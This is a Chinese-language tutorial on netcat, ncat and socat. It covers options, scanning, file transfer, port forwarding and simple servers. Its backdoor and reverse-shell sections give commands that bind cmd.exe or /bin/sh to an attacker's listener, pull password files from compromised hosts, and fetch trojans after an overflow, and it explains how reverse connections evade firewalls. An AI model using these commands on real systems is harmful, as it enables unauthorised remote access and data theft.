參考 :http://www.linuxso.com/command/nc.html
NC工具的使用說明教程:https://blog.csdn.net/xysoul/article/details/52270149
window 版本 nc 下載:https://eternallybored.org/misc/netcat/
1、nc、ncat?簡介
NC 全名 Netcat (網(wǎng)絡(luò)刀),作者是 Hobbit && ChrisWysopal。因其功能十分強(qiáng)大,體積小巧而出名,被譽(yù)為網(wǎng)絡(luò)安全界的 "瑞士軍刀"。Netcat 使用 TCP 或 UDP 協(xié)議的網(wǎng)絡(luò)連接去讀寫數(shù)據(jù)。Netcat 也是穩(wěn)定的后門工具、功能強(qiáng)大的網(wǎng)絡(luò)調(diào)試和探測(cè)工具。能夠直接由其它程序和腳本輕松驅(qū)動(dòng)。能夠建立幾乎所有類型的網(wǎng)絡(luò)連接。
在中國?NC 的 WINDOWS版有兩個(gè)版本,一個(gè)是原創(chuàng)者Chris Wysopal寫的原版本,另一個(gè)是由 "紅與黑" 編譯后的新濃縮版。濃縮版的主程序只有10多KB(10多KB的NC是不能完成下面第4、第5種使用方法 ),雖然 "體積"?小,但很完成很多工作。
- nc :nc 常用于溢出、反向鏈接、上傳文本等。其實(shí)是一個(gè)非標(biāo)準(zhǔn)的 telnet 客戶端程序。也是一個(gè) putty.exe 客戶端程序。
- ncat?:是現(xiàn)代版的 netcat,是 nmap 項(xiàng)目的組成部分。
- socat :socat 是一個(gè) nc 的替代品,可以稱為 nc++。是 netcat 的 N 倍 加強(qiáng)版。socat 支持的連接方式很多,有 ip、tcp、udp、ipv6、pipe、exec、system、open proxy、openssl 等
nc? ---?TCP/IP swiss army knife
linux 下執(zhí)行命令:readlink -f $(which nc)? 結(jié)果會(huì)有兩種:
- /bin/nc.traditional:默認(rèn) GNU 基礎(chǔ)版本,一般系統(tǒng)自帶。
- /bin/nc.openbsd:openbsd 版本,強(qiáng)大很多。
都可以用 apt-get install nc-traditional 或者 apt-get install nc-openbsd 來選擇安裝。不管是 gnu 版本還是 openbsd 版本,都有新老的區(qū)別,主要是傳送文件時(shí) stdin 發(fā)生 EOF 了,老版本會(huì)自動(dòng)斷開,而新的 gnu/openbsd 還會(huì)一直連著。
2、nc、ncat 命令
Netcat 最初的用途就是文件傳輸,它可以像 cat 命令一樣將讀取的文件重定向到網(wǎng)絡(luò)上的另外的文件。Netcat 在網(wǎng)絡(luò)應(yīng)用中既可以當(dāng)做服務(wù)器端,開啟本機(jī)一個(gè)監(jiān)聽端口,也可以作為客戶端向其他服務(wù)器端口發(fā)起連接。所以,文件傳輸,即是在兩端分別運(yùn)行Netcat。
2.1 nc、ncat?參數(shù)
主動(dòng)發(fā)起連接 的 使用方法:nc [-options] hostname port[s] [ports] ...?監(jiān)聽進(jìn)入的連接 的 使用方法:nc -l -p port [-options] [hostname] [port]
linux 下 nc 參數(shù)
type nc
nc -h
options:
? ? ? ? -c shell commands ? ? ? 同 -e 參數(shù),連接成功后使用/bin/sh執(zhí)行shell命令。[危險(xiǎn)??!]
? ? ? ? -e filename ? ? ? ? ? ? 連接成功后要執(zhí)行的程序或者命令 [危險(xiǎn)!!]
? ? ? ? -b ? ? ? ? ? ? ? ? ? ? ?允許廣播
? ? ? ? -g gateway ? ? ? ? ? ? ?source-routing hop point[s], up to 8
? ? ? ? -G num ? ? ? ? ? ? ? ? ?source-routing pointer: 4, 8, 12, ...
? ? ? ? -h ? ? ? ? ? ? ? ? ? ? ?幫助
? ? ? ? -i secs ? ? ? ? ? ? ? ? 為 "傳送信息、掃描端口" 設(shè)置時(shí)間間隔。
? ? ? ? -k ? ? ? ? ? ? ? ? ? ? ?設(shè)置 socket 的 keepalive 選項(xiàng)
? ? ? ? -l ? ? ? ? ? ? ? ? ? ? ?監(jiān)聽模式,監(jiān)聽進(jìn)入的連接。
? ? ? ? -n ? ? ? ? ? ? ? ? ? ? ?指定數(shù)字的IP地址,不能用 hostname
? ? ? ? -o file ? ? ? ? ? ? ? ? 把往來傳輸?shù)臄?shù)據(jù)以16進(jìn)制形式保存到文件。
? ? ? ? -p port ? ? ? ? ? ? ? ? 設(shè)置本地端口號(hào)
? ? ? ? -r ? ? ? ? ? ? ? ? ? ? ?隨機(jī)本地和遠(yuǎn)程端口
? ? ? ? -q secs ? ? ? ? ? ? ? ? 在標(biāo)準(zhǔn)輸入 EOF 后,延遲多少秒后并退出
? ? ? ? -s addr ? ? ? ? ? ? ? ? 設(shè)置 本地 IP 地址
? ? ? ? -T tos ? ? ? ? ? ? ? ? ?設(shè)置服務(wù)類型
? ? ? ? -t ? ? ? ? ? ? ? ? ? ? ?用 telnet 來回應(yīng)?
? ? ? ? -u ? ? ? ? ? ? ? ? ? ? ?UDP 模式
? ? ? ? -v 或者 -vv ? ? ? ? ? ? 顯示詳細(xì)
? ? ? ? -w secs ? ? ? ? ? ? ? ? 設(shè)置網(wǎng)絡(luò)連接超時(shí)時(shí)間
? ? ? ? -C ? ? ? ? ? ? ? ? ? ? ?發(fā)送 CRLF 作為行尾
? ? ? ? -z ? ? ? ? ? ? ? ? ? ? ?零 I/O 模式 [用于掃描],就是將輸入輸出關(guān)掉。
端口號(hào)可以是單個(gè)端口或者是范圍。例如 80,1-100
連字符出現(xiàn)在端口名稱中,必須用反斜杠轉(zhuǎn)義(例如 "ftp\-data")
windows 下 nc 參數(shù)
windows下nc?和 linux下nc 參數(shù)不太一樣
D:\Software\netcat_win> ./nc -h
[v1.12 NT http://eternallybored.org/misc/netcat/]
options:
? ? ? ? -d? ? ? ? ? ? ? ? 從 console 分離,即 后臺(tái)模式 。? ? ? ? -e prog ? ? ? ? 程序重定向,一旦連接,就執(zhí)行 [危險(xiǎn)!!]?
? ? ? ? -g gateway ? ? ?source-routing hop point[s], up to 8
? ? ? ? -G num ? ? ? ? ?source-routing pointer: 4, 8, 12, ...
? ? ? ? -h ? ? ? ? ? ? 幫助信息?
? ? ? ? -i secs ? ? ? ? delay interval for lines sent, ports scanned
? ? ? ? -l? ? ? ? ? ? ? ?監(jiān)聽模式,用于入站連接?
? ? ? ? -L ? ? ? ? ? ? ?連接關(guān)閉后,仍然繼續(xù)監(jiān)聽?
? ? ? ? -n ? ? ? ? ? ? ?指定數(shù)字的IP地址,不能用hostname?
? ? ? ? -o file? ? ? ? ?流量以16進(jìn)制的形式保存到文件
? ? ? ? -p port ? ? ? ? 本地端口號(hào)
? ? ? ? -r? ? ? ? ? ? ? ? ?隨機(jī)本地及遠(yuǎn)程端口?
? ? ? ? -s addr ? ? ? ? 本地源地址?
? ? ? ? -t ? ? ? ? ? ? ?用 telnet 來回應(yīng)?
? ? ? ? -c? ? ? ? ? ? ? 發(fā)送 CRLF 代替 LF
? ? ? ? -u ? ? ? ? ? ? ?UDP 模式?
? ? ? ? -v ? ? ? ? ? ? ?詳細(xì)輸出,?-vv 可得到更詳細(xì)的內(nèi)容
? ? ? ? -w secs ? ? ? ? 連接和網(wǎng)絡(luò)讀取的超時(shí)時(shí)間
? ? ? ? -z? ? ? ? ? ? ??將輸入輸出關(guān)掉。用于掃描
端口號(hào)可以是 單個(gè)端口或者是范圍 m-n。例如 80,1-100
D:\Software\netcat_win>
2.2 基本用法
nc -nvv 192.168.x.x 80????//?連到 192.168.x.x 的 TCP 80 端口
nc -l -p 80 ? ? ? ? ? ? ? // 監(jiān)聽本機(jī)的TCP80端口
nc -nvv -w2 -z 192.168.x.x 80-445 ? ?// 掃描192.168.x.x 的 TCP 80 到 TCP 445 的所有端口
nc -l -p 9999 -e cmd.exe
nc 192.168.1.5 9999或者
nc -l -p 9999 -t
nc -t -e cmd.exe 192.168.1.5
綁定 shell
命令:nc -l -p 5354 -t -e c:\windows\system32\cmd.exe
命令解釋:本地監(jiān)聽 5354 端口,當(dāng)有連接進(jìn)入時(shí),將?-e?指定的 c:\windows\system32\cmd.exe?( 就是個(gè)shell ) 主動(dòng)響應(yīng) 到 連接者。連接者 就可以進(jìn)入被連接者的 cmd。(?反彈 shell 原理 )
綁定 shell 并反向連接
命令:nc -t -e c:\windows\system32\cmd.exe 192.168.x.x 5354
命令解釋:連接到遠(yuǎn)程服務(wù)器的 5354 端口,連接成功后 將?-e c:\windows\system32\cmd.exe?響應(yīng)給遠(yuǎn)程服務(wù)器。這樣 遠(yuǎn)程服務(wù)器就進(jìn)入連接者的 cmd
NC 的用法還有很多,當(dāng)配合管道命令 |?與重定向命令 < >?等等命令功能更強(qiáng)大。
2.3 高級(jí)用法
作攻擊程序用,例子:
格式 1:type.exe c:exploit.txt | nc -nvv 192.168.x.x 80
格式 2:nc -nvv 192.168.x.x 80 < c:exploit.txt
講解:連接到192.168.x.x的80端口,并在其管道中發(fā)送 c:exploit.txt 的內(nèi)容。兩種格式效果一樣。c:exploit.txt 為 shellcode 等
作蜜罐用 [1],例子:
格式:nc -L -p 80
講解:使用 -L( 注意 L 是大寫 ) 可以不停地監(jiān)聽某一個(gè)端口,直到 ctrl+c 為止。
作蜜罐用 [2],例子:
格式:nc -L -p 80 > c:\log.txt
講解:使用 -L 可以不停地監(jiān)聽某一個(gè)端口,直到 ctrl+c為 止,同時(shí)把結(jié)果輸出到 c:log.txt中,如果把 > 改為 >> 即可以追加日志。c:\log.txt 為日志等
作蜜罐用 [3],例子:
格式1:nc -L -p 80 < c:\honeypot.txt
格式2:type.exe c:honeypot.txt|nc -L -p 80
講解:使用 -L 可以不停地監(jiān)聽某一個(gè)端口,直到 ctrl+c為 止,同時(shí)把 c:honeypot.txt 的內(nèi)容送入其管道中。
記錄 log
nc -l -p 80 >>c:\日志.log? ? ?//凡是有針對(duì)本機(jī)80端口的攻擊都會(huì)被記錄下來的
端口掃描
// 注意:nc 掃描會(huì)留下大量的痕跡。
格式:nc -vv -z?ip port-port port??? ?// 示例:nc -v -w 2 www.baidu.com -z 100-105 80
nc -v -z 192.168.0.25 1-100 ? ? ? // 端口掃描,掃描 tcp 端口 1-100
nc -v -z -u 192.168.0.25 1-100 ? ?// 端口掃描,掃描 udp 端口 1-100
nc -vv 192.168.0.25 80 ? ? ? ? ? ?// 端口掃描,掃描 tcp 端口 80nc -v -z www.baidu.com 70-80 ? ? ?# 掃描端口(70到80)
nc -v -z -w 2 192.168.2.34 21-24 ? ? ? ?
nc -v -z -w2 127.0.0.1 1-100 ? ? ?# -w2 設(shè)置超時(shí)時(shí)間
nc -l -p 1234? ? ? ? ? ? ? ? # 監(jiān)聽本地端口
netstat -a | grep 1234
netstat -tunlp
nc -vuz ?172.16.211.34 68
nc -p 1234 -w 5 www.test.com 80? //?建立從本地1234端口到 www.test.com 的80端口連接,5秒超時(shí)
nc -u host.example.com 53? ? // u 為 UDP 連接
端口轉(zhuǎn)發(fā)(PortForwarding)
端口轉(zhuǎn)發(fā) 也是 Netcat 比較實(shí)用的用法。
先將Netcat作為服務(wù)器接收其他主機(jī)的連接,然后將連接的數(shù)據(jù)轉(zhuǎn)發(fā)另外的目標(biāo)機(jī)端口。
比如:
mkfifo backpipe
nc -l 12345 ?0<backpipe | nc www.google.com 801>backpipe
這里開啟端口12345,作為www.google.com的代理。
其他無法直接登陸google的用戶可以通過此代理端口來與google進(jìn)行交互。
創(chuàng)建了一個(gè)fifo,是為實(shí)現(xiàn)雙向數(shù)據(jù)通訊,因?yàn)楣艿肋\(yùn)算符本身是單向的。
后門
受害者的機(jī)器執(zhí)行命令:
? ? ? ? nc -l -p port -e cmd.exe ?// win2000?
? ? ? ? nc -l -p port -e /bin/sh ?// unix,linux?
攻擊者的機(jī)器執(zhí)行命令:
? ? ? ? nc ip -p port ? ? ? ? ? ? // 連接 受害者機(jī)器IP,然后得到一個(gè)shell。
正向連接
【遠(yuǎn)程運(yùn)行】nc -l -p 2012 -t -e cmd.exe
【本地運(yùn)行】nc -nvv 192.168.1.101 2012
- 遠(yuǎn)程主機(jī)(注:假設(shè)IP地址為 192.168.1.101)上運(yùn)行 nc -l -p 2012 -t -e cmd.exe 意為綁定遠(yuǎn)程主機(jī)的 CMD 到 2012 端口,當(dāng)本地主機(jī)連接遠(yuǎn)程主機(jī)成功時(shí)就會(huì)返回給本地主機(jī)一個(gè)CMD Shell ;
- 在本地主機(jī)上運(yùn)行 nc -nvv 192.168.1.101 2012 用于連接已經(jīng)將 CMD 重定向到 2012 端口的遠(yuǎn)程主機(jī)(注:假設(shè)IP地址為 192.168.1.101)。
反向連接?
【本地運(yùn)行】nc -l -p 2012
【遠(yuǎn)程運(yùn)行】nc -t -e cmd.exe 192.168.1.102 2012
- 先在本地主機(jī)運(yùn)行 nc -l -p 2012 開啟本地主機(jī)的(注:假設(shè)IP地址為 192.168.1.102)2012 端口并監(jiān)聽等待遠(yuǎn)程主機(jī)連接;
- 再在遠(yuǎn)程主機(jī)上運(yùn)行 nc -t -e cmd.exe 192.168.1.102 2012 將遠(yuǎn)程主機(jī)的 CMD 重定向到 IP 地址為 192.168.1.102 端口號(hào)為 2012 的主機(jī)上,連接成功后 IP 地址為 192.168.1.102 的主機(jī)會(huì)得到一個(gè)CMD Shell。
什么叫反彈端口?
就是說,當(dāng)對(duì)方中馬后,不用你主動(dòng)和對(duì)方連接,也就是說不用從你的client端向?qū)Ψ街鳈C(jī)上運(yùn)行的server端發(fā)送請(qǐng)求連接,
而是對(duì)方主動(dòng)來連接你這樣就可以使很多防火墻失效,因?yàn)楹芏喾阑饓Χ疾粰z查出站請(qǐng)求的。
這里這兩個(gè)命令結(jié)合在一起后,于那兩款木馬可以說有異曲同工之效。
本地運(yùn)行:nc -l -p 5277 (監(jiān)聽本地5277端口)或者 nc -l -v -p 5277
然后在遠(yuǎn)程機(jī)器上,想辦法運(yùn)行 nc -e cmd.exe ip 5277
(你可別真的打“ip”在肉雞上啊)要打,xxx.xxx.xxx.xxx這樣??!
這樣就是反彈~~在本地機(jī)器上得到了一個(gè)SHELL
示例:
attacker machine: ? ? ?//一般是sql2.exe,遠(yuǎn)程溢出,webdavx3.exe攻擊.?
//或者wollf的反向連接.?
nc -vv -l -p port?
victim machine:?
nc -e cmd.exe attacker ip -p port?
nc -e /bin/sh attacker ip -p port
或者:
attacker machine:?
nc -vv -l -p port1 ?
nc -vv -l -p prot2 ?
victim machine:?
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2?
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
139要加參數(shù)-s(nc.exe -L -p 139 -d -e cmd.exe -s 對(duì)方機(jī)器IP),這樣就可以保證 nc.exe 優(yōu)先于NETBIOS。
端口數(shù)據(jù)抓包
就是使用?-o 參數(shù),把數(shù)據(jù)以 16進(jìn)制 的形式寫到文件里面
示例:nc -vv -w 2 -o ./packet.txt www.baidu.com 80 21-15
遠(yuǎn)程 拷貝 文件
從 server1 拷貝文件到 server2 上
先在 server2 上,用 nc 激活監(jiān)聽,server2上運(yùn)行:
[root@hatest2 tmp]# nc -lp 1234 > install.log然后,再在 server1 上運(yùn)行:
[root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < install.log
傳送文件:
attacker machine <-- victim machine ? ? ?// 從肉雞拖密碼文件回來.?
nc -d -l -p port < path\filedest ? // 可以shell執(zhí)行?
nc -vv attacker_ip port > path\file.txt ?// 需要Ctrl+C退出?//肉雞需要gui界面的cmd.exe里面執(zhí)行(終端登陸,不如安裝FTP方便).
//否則沒有辦法輸入Crl+C.
attacker machine --> victim machine ? ? ?// 上傳命令文件到肉雞?
nc -vv -l -p port > path\file.txt ? // 需要Ctrl+C退出?
nc -d victim_ip port < path\filedest ? // 可以shell執(zhí)行?
示例:
【本地運(yùn)行】nc -v -n ip port < C:/sunzn.exe
【遠(yuǎn)程運(yùn)行】nc -v -l -p port > D:/sunzn.exe
- 在本地運(yùn)行 nc -v -n ip port < C:/sunzn.exe 意為從本地 C 盤根目錄中讀取 sunzn.exe 文件的內(nèi)容,并把這些數(shù)據(jù)發(fā)送到遠(yuǎn)程主機(jī)的對(duì)應(yīng)端口上(注:命令行中的 IP 為接收文件的遠(yuǎn)程主機(jī) IP ),
- 在遠(yuǎn)程主機(jī)運(yùn)行 nc -v -l -p port > D:/sunzn.exe 意為監(jiān)聽對(duì)應(yīng)端口并把接收到的信息數(shù)據(jù)寫到 D:/sunzn.exe 中,兩行命令實(shí)現(xiàn)了文件在本地主機(jī)和遠(yuǎn)程主機(jī)間的傳輸。
ftp 自動(dòng)下載
【本地運(yùn)行】nc -L -p 8989 < C:\ftp.txt ( ftp.txt 中為FTP自動(dòng)下載命令)
不停地監(jiān)聽 8989 端口,并把 C:\ftp.txt ?中的內(nèi)容發(fā)給任何一臺(tái)連接本機(jī) 8989 端口的主機(jī),可起到傳送文件作用( 此用法經(jīng)常用于反向溢出 )。遠(yuǎn)程主機(jī)一旦溢出就會(huì)連接本地主機(jī) 8989 端口,遠(yuǎn)程主機(jī)就會(huì)自動(dòng)用 FTP 下載指定的文件,如木馬。
遠(yuǎn)程 拷貝 目錄
從 server1 拷貝 nginx-0.6.34目錄內(nèi)容到 server2 上。
方法 1:
? ? ? ? 先在server2上,用nc激活監(jiān)聽,server2上運(yùn)行:
? ? ? ? [root@hatest2 tmp]# nc -l 1234 | tar xzvf -? ? ? ??
? ? ? ? server1上運(yùn)行:
? ? ? ? [root@hatest1 ~]# tar -zcvf - nginx-0.6.34 | nc 192.168.228.222 1234方法 2:
? ? ? ? 從192.168.2.33拷貝文件到192.168.2.34
? ? ? ? 在192.168.2.34上: nc -l 1234 > test.txt
? ? ? ? 在192.168.2.33上: nc 192.168.2.34 < test.txt
克隆硬盤或分區(qū)
操作與上面的拷貝是雷同的,只需要由dd獲得硬盤或分區(qū)的數(shù)據(jù),然后傳輸即可??寺∮脖P或分區(qū)的操作,不應(yīng)在已經(jīng) mount 的的系統(tǒng)上進(jìn)行。所以,需要使用安裝光盤引導(dǎo)后,進(jìn)入拯救模式(或使用Knoppix工具光盤)啟動(dòng)系統(tǒng)后,
server2上進(jìn)行類似的監(jiān)聽動(dòng)作:
# nc -l -p 1234 | dd of=/dev/sda
server1上執(zhí)行傳輸,即可完成從server1克隆sda硬盤到server2的任務(wù):
# dd if=/dev/sda | nc 192.168.228.222 1234
簡單聊天工具
在192.168.2.34上: nc -l 1234
在192.168.2.33上: nc 192.168.2.34 1234
這樣,雙方就可以相互交流了。使用ctrl+C(或D)退出。nc -l 1234
nc 127.0.0.1 1234
在端口1234建立連接,互相發(fā)送輸入
保存 Web 頁面
# while true; do nc -l -p 80 -q 1 < somepage.html; done
模擬 HTTP 請(qǐng)求
nc www.baidu.com 80 ?// 作為瀏覽器,模擬請(qǐng)求
nc -l -v -p 80 ? ? ? // 瀏覽器中輸入本機(jī)IP:127.0.0.1
例如:
用 nc 命令操作 memcached
1)存儲(chǔ)數(shù)據(jù):printf "set key 0 10 6rnresultrn" |nc 192.168.2.34 11211
2)獲取數(shù)據(jù):printf "get keyrn" |nc 192.168.2.34 11211
3)刪除數(shù)據(jù):printf "delete keyrn" |nc 192.168.2.34 11211
4)查看狀態(tài):printf "statsrn" |nc 192.168.2.34 11211
5)模擬top命令查看狀態(tài):watch "echo stats" |nc 192.168.2.34 11211
6)清空緩存:printf "flush_allrn" |nc 192.168.2.34 11211 (小心操作,清空了緩存就沒了)
Netcat 其他常用的功能:
支持完全的DNS轉(zhuǎn)發(fā)、逆向檢查
支持用戶指定源端口
支持用戶指定源端IP地址
內(nèi)置寬松源路由能力(loosesource-routing capability)
慢速發(fā)送模式,可指定每隔多少秒發(fā)送一行文本
將發(fā)送或接收數(shù)據(jù)以16進(jìn)制格式導(dǎo)出
3、ncat 命令
Ncat 是 nmap 項(xiàng)目對(duì)傳統(tǒng)的 Netcat(即 nc 命令)的重寫,是包含在 nmap 安裝包里的。
3.1 ncat 的 參數(shù)
ncat -h
Ncat 7.92 (https://nmap.org/ncat)
用法:ncat [選項(xiàng)] [主機(jī)名] [端口]花費(fèi)時(shí)間的選項(xiàng)假定為幾秒鐘。附加“ms”毫秒,
's' 代表秒,'m' 代表分鐘,或 'h' 代表小時(shí)(例如 500 毫秒)。
? -4 ? ? ? ? ? ? ? ? ? ? ? ? 僅使用 IPv4
? -6 ? ? ? ? ? ? ? ? ? ? ? ? 僅使用 IPv6
? -U, --unixsock ? ? ? ? ? ? 僅使用 Unix 域套接字
? ? ? --vsock ? ? ? ? ? ? ? ?僅使用 vsock 套接字
? -C, --crlf ? ? ? ? ? ? ? ? 對(duì) EOL 序列使用 CRLF
? -c, --sh-exec <command> ? ?通過 /bin/sh 執(zhí)行給定的命令
? -e, --exec <command> ? ? ? 執(zhí)行給定的命令
? ? ? --lua-exec <filename> ?執(zhí)行給定的 Lua 腳本
? -g hop1[,hop2,...] ? ? ? ? 松散源路由跳點(diǎn)(最多 8 個(gè))
? -G <n> ? ? ? ? ? ? ? ? ? ? 松散源路由跳點(diǎn)指針 (4, 8, 12, ...)
? -m, --max-conns <n> ? ? ? ?最大 <n> 個(gè)同時(shí)連接數(shù)
? -h, --help ? ? ? ? ? ? ? ? 顯示屏幕
? -d, --delay <時(shí)間> ? ? ? ? 讀/寫 等待時(shí)間
? -o, --output <filename> ? ?轉(zhuǎn)儲(chǔ)會(huì)話數(shù)據(jù)到文件
? -x, --hex-dump <filename> ?會(huì)話數(shù)據(jù)以16進(jìn)制形式轉(zhuǎn)儲(chǔ)到文件
? -i, --idle-timeout <time> ?空閑 讀/寫 超時(shí)
? -p, --source-port port ? ? 指定要使用的源端口
? -s, --source addr ? ? ? ? ?指定要使用的源地址(不影響-l)
? -l, --listen ? ? ? ? ? ? ? 綁定并監(jiān)聽傳入的連接
? -k, --keep-open ? ? ? ? ? ?在監(jiān)聽模式下接受多個(gè)連接
? -n, --nodns ? ? ? ? ? ? ? ?不通過 DNS 解析主機(jī)名
? -t, --telnet ? ? ? ? ? ? ? 通過 Telnet 回答協(xié)商
? -u, --udp ? ? ? ? ? ? ? ? ?使用 UDP 而不是默認(rèn)的 TCP
? ? ? --sctp ? ? ? ? ? ? ? ? 使用 SCTP 代替默認(rèn) TCP
? -v, --verbose ? ? ? ? ? ? ?設(shè)置詳細(xì)程度(可多次使用)
? -w, --wait <時(shí)間> ? ? ? ? ?連接超時(shí)
? -z ? ? ? ? ? ? ? ? ? ? ? ? 零 I/O 模式,僅報(bào)告連接狀態(tài)
? ? ? --append-output ? ?追加到輸出文件
? ? ? --send-only ? ? ? ?只發(fā)送數(shù)據(jù),忽略接收;在 EOF 上退出
? ? ? --recv-only ? ? ? ?只接收數(shù)據(jù),不發(fā)送任何東西
? ? ? --no-shutdown ? ? ?在標(biāo)準(zhǔn)輸入上接收 EOF 時(shí)繼續(xù)半雙工
? ? ? --allow ? ? ? ? ? ?只允許給定的主機(jī)連接到 Ncat
? ? ? --allowfile ? ? ? ?允許連接到 Ncat 的主機(jī)文件
? ? ? --deny ? ? ? ? ? ? 拒絕給定主機(jī)連接到 Ncat
? ? ? --denyfile ? ? ? ? 拒絕連接到 Ncat 的主機(jī)文件
? ? ? --broker ? ? ? ? ? 啟用 Ncat 的連接代理模式
? ? ? --chat ? ? ? ? ? ? 啟動(dòng)一個(gè)簡單的 Ncat 聊天服務(wù)器
? ? ? --proxy <addr[:port]> ?指定要代理的主機(jī)地址
? ? ? --proxy-type <type> ? ?指定代理類型(“http”、“socks4”、“socks5”)
? ? ? --proxy-auth <auth> ? ?使用 HTTP 或 SOCKS 代理服務(wù)器進(jìn)行身份驗(yàn)證
? ? ? --proxy-dns <type> ? ? 指定解析代理目的地的位置
? ? ? --ssl ? ? ? ? ? ? ? ? ?使用 SSL 連接或監(jiān)聽
? ? ? --ssl-cert ? ? ? ? ? ? 指定用于監(jiān)聽的 SSL 證書文件 (PEM)
? ? ? --ssl-key ? ? ? ? ? ? ?指定用于監(jiān)聽的 SSL 私鑰 (PEM)
? ? ? --ssl-verify ? ? ? ? ? 驗(yàn)證證書的信任和域名
? ? ? --ssl-trustfile ? ? ? ?包含可信 SSL 證書的 PEM 文件
? ? ? --ssl-ciphers ? ? ? ? ?包含要使用的 SSL 密碼的密碼列表
? ? ? --ssl-servername ? ? ? 請(qǐng)求不同的服務(wù)器名稱 (SNI)
? ? ? --ssl-alpn ? ? ? ? ? ? 使用的 ALPN 協(xié)議列表
? ? ? --version ? ? ? ? ? ? ?顯示Ncat的版本信息并退出有關(guān)完整的選項(xiàng)、描述和使用示例,請(qǐng)參見 ncat(1) 聯(lián)機(jī)幫助頁
3.2 ncat 的 使用
Ncat 作為瀏覽器
命令示例:ncat -C scanme.nmap.org 80
該命令是以?交互的方式?執(zhí)行的。即輸入?ncat -C scanme.nmap.org 80?和?回車?后,接著繼續(xù)輸入?GET / HTTP/1.0?,再敲擊兩次?回車?。即可獲取目標(biāo)網(wǎng)站的 HTML 文檔內(nèi)容。
監(jiān)聽模式( 模擬 web 服務(wù)器 )
使用 ncat 運(yùn)行帶有靜態(tài)頁面的 Web 服務(wù)器。vim /root/sample.html
<html>
<head>
<title>Test Page</title>
</head>
<body>
<h1>Level 1 header</h1>
<h2>Subheading</h2>
<p>Normal text here</p>
</body>
</html>
執(zhí)行命令:[root@qdzabbix ~]# while true; do nc -l -p 8080 < /root/sample.html ; done
最后瀏覽器訪問 http://127.0.0.1:8080/sample.html
執(zhí)行命令(遠(yuǎn)程 shell)
?命令示例:ncat -l 8080 --exec "/bin/echo Hello."
可以開啟一個(gè)遠(yuǎn)程 shell 供其他設(shè)備連接。命令:ncat -l 8022 --exec "/bin/bash -i"
通過 nc 進(jìn)行端口轉(zhuǎn)發(fā)。
命令:ncat -u -l ?80 -c ?'ncat -u -l 8080'
訪問控制
只允許指定客戶端連接:ncat -l --allow 10.2.67.204
只拒絕指定客戶端連接:ncat -l --deny 10.2.67.204
只允許指定網(wǎng)段的本地 IP:
- ncat -l --allow 10.2.67.0/24
- ncat -l --allow 10.2.67.0-255
從文件中獲取允許訪問的地址列表:ncat -l --allowfile trusted_hosts.txt
設(shè)置最大連接數(shù)為5:ncat -l --max-conns 5
文件傳輸
接收者監(jiān)聽:
? ? ? ? receiver$ ncat -l > outputfile
? ? ? ? sender$ ncat --send-only receiver_ip < inputfile
發(fā)送者監(jiān)聽:
? ? ? ? sender$ ncat -l --send-only < inputfile
? ? ? ? receiver$ ncat sender_ip > outputfile
傳輸目錄
接收者:ncat -l | tar xzvf -
發(fā)送者:tar czvf - dirname | ncat --send-only receiver_ip
傳輸磁盤鏡像(壓縮)
接收者:ncat -l | bzip2 -d > sender-hda.image
發(fā)送者:cat /dev/hda | bzip2 | ncat --send-only receiver_ip
聊天
雙人聊天
? ? ? ? host1$ ncat -l
? ? ? ? host2$ ncat host1
多人聊天
? ? ? ? server$ ncat -l --chat
? ? ? ? clients$ ncat server_ip
簡易 web 服務(wù)器
Linux 用戶:ncat -lk -p 8080 --sh-exec "echo -e 'HTTP/1.1 200 OK\r\n'; cat index.html"
Windows 用戶:ncat -lk -p 8080 --sh-exec "echo HTTP/1.1 200 OK& echo(&type index.html"
流媒體視頻
服務(wù)端:cat video.avi | ncat -l
客戶端:ncat server_ip | mplayer -vo x11 -cache 3000 -
4、socat 命令
Socat 官方網(wǎng)站:http://www.dest-unreach.org/socat/
From:https://zhuanlan.zhihu.com/p/347722248
socat 基本語法:socat [options] <address> <address>
socat 主要作用 就是把兩個(gè)地址的數(shù)據(jù)流串起來,把左邊地址的輸出數(shù)據(jù)傳給右邊,同時(shí)又把右邊地址的輸出數(shù)據(jù)傳到左邊。所以 socat 需要兩個(gè)地址,其中這 2 個(gè) address 是關(guān)鍵,address 類似于一個(gè)文件描述符,Socat 所做的工作就是在 2 個(gè) address 指定的描述符間建立一個(gè) pipe 用于發(fā)送和接收數(shù)據(jù)。這 2 個(gè) address 可以任意發(fā)揮,能夠做到的事情還有很多。
使用 socat 需要提供兩個(gè)地址,常用的 address 描述方式如下:
- -,STDIN,STDOUT? :表示 標(biāo)準(zhǔn)輸入、標(biāo)準(zhǔn)輸出,可以只用減號(hào) - 代替
- /var/log/syslog :打開一個(gè)文件作為數(shù)據(jù)流,可以是任意路徑。
- TCP:: 建立一個(gè) TCP 連接作為數(shù)據(jù)流,TCP 也可以替換為 UDP 。
- TCP-LISTEN:建立 一個(gè) TCP 監(jiān)聽端口,TCP 也可以替換為 UDP。
- EXEC:執(zhí)行一個(gè)程序作為數(shù)據(jù)流。
socat 還支持:TCP, TCP-LISTEN, UDP, UDP-LISTEN, OPEN, EXEC, SOCKS, PROXY 等多種地址,用于端口監(jiān)聽、鏈接,文件和進(jìn)程讀寫,代理橋接等等。所以使用 socat 其實(shí)就是學(xué)習(xí)各類地址的定義及搭配方法。以上規(guī)則中前面的 TCP 等都可以小寫,在這些描述后可以附加一些選項(xiàng),用逗號(hào)隔開。如 fork,reuseaddr,stdin,stdout,ctty 等。
最簡單示例:命令:socat - -
說明:兩個(gè)地址都是減號(hào) "-",就是把 "標(biāo)準(zhǔn)輸入輸出" 和 "標(biāo)準(zhǔn)輸入輸出" 對(duì)接,輸入什么就會(huì)顯示什么。即在鍵盤上敲什么,屏幕上就顯示什么,類似無參數(shù)的 cat 命令。
socat 的參數(shù)
參考:www.dest-unreach.org
用法:
socat [選項(xiàng)] <雙向地址> <雙向地址>
? ?選項(xiàng):
? ? ? -V ? ? ? ?版本信息
? ? ? -h|-? ? ? 幫助
? ? ? -hh ? ? ? 與 -h 類似。更加詳細(xì)的幫助。加上所有常用地址選項(xiàng)名稱
? ? ? -hhh ? ? ?與 -hh類似。更加詳細(xì)的幫助。加上所有可用地址選項(xiàng)名稱
? ? ? -d[ddd] ? 增加詳細(xì)程度(最多使用 4 次;建議使用 2 次)
? ? ? -D ? ? ? ?在循環(huán)之前分析文件描述符
? ? ? -ly[facility] ? 使用設(shè)施(默認(rèn)為守護(hù)進(jìn)程)記錄到系統(tǒng)日志
? ? ? -lf<logfile> ? ?記錄到文件
